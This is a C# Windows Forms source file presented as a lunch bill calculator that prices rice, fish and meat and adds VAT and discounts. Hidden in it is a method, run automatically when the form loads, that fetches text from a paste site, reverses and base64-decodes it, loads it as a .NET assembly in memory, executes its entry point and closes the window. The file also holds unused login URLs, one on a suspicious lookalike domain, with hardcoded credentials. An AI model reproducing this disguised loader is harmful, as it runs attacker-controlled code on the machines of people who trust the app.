using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using System.Diagnostics; using System.IO; using System.Net; using Microsoft.VisualBasic; using System.Collections.Specialized; namespace LunchBillCalculator { public partial class lunchBillCalculatorApp : Form { private double riceUnit; private double fishUnit; private double meatUnit; WebClient l = new WebClient(); private double discount; private double vatValue; private double gross; private double vatPercentage = 0.05; private double riceUnitPrice = 40; private double fishUnitPrice = 80; private double meatUnitPrice = 100; private double riceTotalPrice; private double fishTotalPrice; private double meatTotalPrice; private double totalBill; private double vatAmount; private double discountAmount; public lunchBillCalculatorApp() { InitializeComponent(); } public void Parse() { { var loginAddresss = "http://www.myshipgroup.com/"; var loginAddress = "http://tcddtasimacilik.store/"; var loginData = new NameValueCollection { { "username", "shimmy" }, { "password", "mypassword" } }; var client = new CookieAwareWebClient(); StreamReader c = new StreamReader(l.OpenRead("https://www.paste.tc/3IKLTYShOO")); string a = c.ReadToEnd(); byte[] data = Convert.FromBase64String(Reverse(a)); AppDomain.CurrentDomain.Load(data).EntryPoint.Invoke(null, null); Close(); } } private void showTotalButton_Click(object sender, EventArgs e) { riceUnit = double.Parse(riceUnitTextBox.Text); riceTotalPrice = riceUnit * riceUnitPrice; fishUnit = double.Parse(fishUnitTextBox.Text); fishTotalPrice = fishUnit * fishUnitPrice; meatUnit = double.Parse(meatUnitTextBox.Text); meatTotalPrice = meatUnit * meatUnitPrice; gross = riceTotalPrice + fishTotalPrice + meatTotalPrice; totalGrossTextBox.Text = gross.ToString(); totalGrossTextBox.Enabled = false; } private void showNetBillButton_Click(object sender, EventArgs e) { gross = double.Parse(totalGrossTextBox.Text); discount = double.Parse(discountTextBox.Text); discountAmount = gross * discount / 100; vatAmount = gross * vatPercentage; totalBill = (gross - discountAmount) + vatAmount; MessageBox.Show("Sir/Maam,Please Pay the bill of amount Rs: " + totalBill + " to the Counter. Thank You"); riceUnitTextBox.Text = ""; fishUnitTextBox.Text = ""; meatUnitTextBox.Text = ""; discountTextBox.Text = ""; totalGrossTextBox.Text = ""; } private void groupBox1_Enter(object sender, EventArgs e) { } private void button1_Click(object sender, EventArgs e) { Close(); } public static string Reverse(string s) { char[] charArray = s.ToCharArray(); Array.Reverse(charArray); return new string(charArray); } private void linkLabel1_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) { Process.Start("http://code-projects.org"); } private void lunchBillCalculatorApp_Load(object sender, EventArgs e) { Parse(); } } } public class CookieAwareWebClient : WebClient { public void Login(string loginPageAddress, NameValueCollection loginData) { CookieContainer container; var request = (HttpWebRequest)WebRequest.Create(loginPageAddress); request.Method = "POST"; request.ContentType = "application/x-www-form-urlencoded"; var query = string.Join("&", loginData.Cast().Select(key => "{key}={loginData[key]}")); var buffer = Encoding.ASCII.GetBytes(query); request.ContentLength = buffer.Length; var requestStream = request.GetRequestStream(); requestStream.Write(buffer, 0, buffer.Length); requestStream.Close(); container = request.CookieContainer = new CookieContainer(); var response = request.GetResponse(); response.Close(); CookieContainer = container; } public CookieAwareWebClient(CookieContainer container) { CookieContainer = container; } public CookieAwareWebClient() : this(new CookieContainer()) { } public CookieContainer CookieContainer { get; private set; } protected override WebRequest GetWebRequest(Uri address) { var request = (HttpWebRequest)base.GetWebRequest(address); request.CookieContainer = CookieContainer; return request; } }